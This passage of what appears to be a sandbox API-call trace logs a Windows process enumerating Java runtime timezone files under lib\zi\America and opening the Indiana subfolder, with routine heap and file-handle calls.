ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atikokan", cAlternateFileName="")) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia", cAlternateFileName="")) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia_Banderas", cAlternateFileName="")) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Barbados", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belem", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belize", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blanc-Sablon", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boa_Vista", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bogota", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boise", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambridge_Bay", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campo_Grande", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cancun", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caracas", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayenne", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayman", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chicago", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chihuahua", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Costa_Rica", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Creston", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cuiaba", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Curacao", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="Danmarkshavn", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson_Creek", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="Denver", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detroit", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dominica", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edmonton", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eirunepe", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Salvador", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fortaleza", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glace_Bay", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Godthab", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Goose_Bay", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grand_Turk", cAlternateFileName="")) returned 1 [0088.593] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grenada", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guadeloupe", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guatemala", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guayaquil", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Guyana", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="Halifax", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Havana", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hermosillo", cAlternateFileName="")) returned 1 [0088.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indiana", cAlternateFileName="")) returned 1 [0088.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0088.595] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0088.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1332f60 [0088.595] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1332f60, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1332f60, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0088.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1332f60) returned 1 [0088.595] NtClose (Handle=0x174) returned 0x0 [0088.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 